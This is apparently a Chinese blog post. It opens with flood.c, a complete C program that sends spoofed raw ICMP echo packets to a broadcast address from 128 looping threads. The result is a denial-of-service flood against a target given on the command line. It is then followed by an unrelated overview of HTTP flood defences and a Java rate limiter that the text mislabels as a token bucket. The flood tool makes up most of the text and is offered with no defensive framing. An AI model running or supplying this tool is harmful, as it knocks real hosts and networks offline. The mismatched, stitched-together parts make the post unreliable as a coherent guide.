洪水攻击

flood.c

#include <stdio.h>
#include <ctype.h>
#include <unistd.h>
#include <fcntl.h>
#include <signal.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/ip_icmp.h>
#include <netinet/in.h>
#include <netdb.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <pthread.h>

#define MAXCHILD 128
static struct sockaddr_in dest;
unsigned long inaddr = 1;
static int PROTO_ICMP = -1;
static int RAW = -1;
static alive = -1;
static int rawsock = 0;


/*-----------------------------------------------------------------
; 函数:myrandom()
------------------------------------------------------------------*/
static inline int myrandom(int begin, int end)
{
	int gap = end - begin + 1;
	int ret = 0;
	srand((unsigned)time(0));
	ret = random()%gap + begin;
	
	return ret;
}

/*-----------------------------------------------------------------
; 函数:Dos_icmp()
------------------------------------------------------------------*/
static void Dos_icmp(void)
{

	struct ip *iph;
	struct icmphdr *icmph;
	char *packet;
	int pktsize = sizeof(struct ip) + sizeof(struct icmphdr) + 64;
	packet = malloc(pktsize);
	iph = (struct ip*)packet;
	icmph = (struct icmphdr*)(packet + sizeof(struct ip));
	memset(packet, 0, pktsize);
	
	iph->ip_v = 4;
	iph->ip_hl= 5;
	iph->ip_tos = 0;
	iph->ip_len = htons(pktsize);
	iph->ip_id  = htons(getpid());
	iph->ip_off = 0;
	iph->ip_ttl = 0x0;
	iph->ip_p = PROTO_ICMP;
	iph->ip_sum = 0;

	inet_aton("192.168.0.182", &iph->ip_src);
    inet_aton("192.168.0.255", &iph->ip_dst);
	
	icmph->type = ICMP_ECHO;
	icmph->code = 0;
	icmph->checksum  = htons(~(ICMP_ECHO << 8));	

	sendto(rawsock, packet, pktsize, 0, (struct sockaddr*)&dest, sizeof(dest));
	
	free(packet);
}


/*-----------------------------------------------------------------
; 函数:DoS_fun()
------------------------------------------------------------------*/
static void* DoS_fun(void *argv)
{
	while(alive)
	{
		Dos_icmp();
	}
}

/*-----------------------------------------------------------------
; 函数:Dos_sig()
------------------------------------------------------------------*/
static void Dos_sig()
{
	alive = 0;
	
	return ;
}

/*---------------------------------------------------------
; 函数: icmp_usage()
-----------------------------------------------------------*/
static void icmp_usage()
{
	printf("flood aaa.bbb.ccc.ddd\n");
}

/*-----------------------------------------------------------------
; 函数:main()
------------------------------------------------------------------*/
int main(int argc, char *argv[])
{
	struct hostent *host = NULL;
	struct protoent *protocol = NULL;
	char protoname[] = "icmp";
	int i = 0;
	pthread_t pthread[MAXCHILD];
	int err = -1;
	
	alive = 1;
	signal(SIGINT, Dos_sig);
	
	if(argc < 2)
	{
		icmp_usage();
		return -1;
	}
	
	protocol = getprotobyname(protoname);
	if(protocol == NULL)
	{
		perror("getprotobyname failed !");
		return -1;
	}
	
	inaddr = inet_addr(argv[1]);
	if(inaddr == INADDR_NONE)
	{
		host = gethostbyname(argv[1]);
		if(host == NULL)
		{
			perror("gethostbyname failed !");
			return -1;
		}
		
		memcpy((char*)&dest.sin_addr, host->h_addr, host->h_length);
	}
	else
	{
		memcpy((char*)&dest.sin_addr, &inaddr, sizeof(inaddr));
	}
	
	rawsock = socket(AF_INET, SOCK_RAW, RAW);
	if(rawsock < 0)
	{
		rawsock = socket(AF_INET, SOCK_RAW, protocol->p_proto);
	}
	
	setsockopt(rawsock, SOL_IP, IP_HDRINCL, "1", sizeof("1"));
	
	for(i=0; i<MAXCHILD; i++)
	{
		err = pthread_create(&pthread[i], NULL, DoS_fun, NULL);
	}
	
	for(i=0; i<MAXCHILD; i++)
	{
		pthread_join(pthread[i], NULL);
	}
	
	close(rawsock);
	return 0;}


### HTTP 洪水攻击简介 HTTP 洪水攻击是一种分布式拒绝服务 (DDoS) 攻击形式,其主要目的是通过发送大量看似合法的 HTTP 请求来使服务器超载。这种类型的攻击通常利用僵尸网络中的多台设备向目标服务器发起请求,从而消耗服务器资源,导致正常用户的访问受阻。 此类攻击的特点在于它模仿正常的用户行为模式,使得检测和防御变得困难。由于每个请求都可能看起来像是来自真实用户的合法流量,传统的基于速率限制的方法往往无法有效阻止这些攻击[^1]。 ### 防御 HTTP 洪水攻击的技术手段 #### 使用 Web 应用防火墙 (WAF) Web 应用防火墙能够识别恶意流量并加以拦截。现代 WAF 可以分析传入的 HTTP/HTTPS 流量,并根据预定义的安全规则过滤掉潜在威胁性的请求。这有助于减轻由 HTTP 洪水攻击带来的负载压力[^2]。 #### 实施速率限制机制 尽管简单的速率限制对于高度复杂的 HTTP 洪水攻击效果有限,但它仍然是一个基础而重要的防线。通过对单个 IP 地址或其他标识符设置每秒允许的最大请求数目阈值,可以在一定程度上缓解小型规模的攻击影响[^3]。 #### 利用 CAPTCHA 技术验证人类用户身份 当检测到异常高的请求频率时,可以触发显示验证码页面让用户证明自己不是机器人程序的一部分。这种方法虽然增加了用户体验成本,但在抵御自动化工具驱动的大批量虚假请求方面非常有效[^4]。 #### 负载均衡器的作用 部署高效的负载均衡方案可以帮助分散进入系统的流量至不同的服务器实例上处理。即使某些节点受到严重影响,其他健康的节点仍可继续提供服务给真正的客户群体[^5]。 ```java // Java 示例:简单实现限流逻辑 public class RateLimiter { private Map<String, Long> requestTimestamps; public RateLimiter() { this.requestTimestamps = new HashMap<>(); } public boolean allowRequest(String clientIp, int maxRequestsPerSecond){ long currentTimeMillis = System.currentTimeMillis(); List<Long> timestampsForClient = requestTimestamps.getOrDefault(clientIp,new ArrayList<>()); while(!timestampsForClient.isEmpty()){ if(currentTimeMillis - timestampsForClient.get(0)>1000){ timestampsForClient.remove(0); }else{ break; } } if(timestampsForClient.size()<maxRequestsPerSecond){ timestampsForClient.add(currentTimeMillis); requestTimestamps.put(clientIp,timestampsForClient); return true; } return false; } } ``` 上述代码片段展示了一个简易版的令牌桶算法用于控制客户端发出请求的速度。如果某个特定时间段内的请求数超过了设定上限,则该次请求会被拒绝。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

爻渡

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值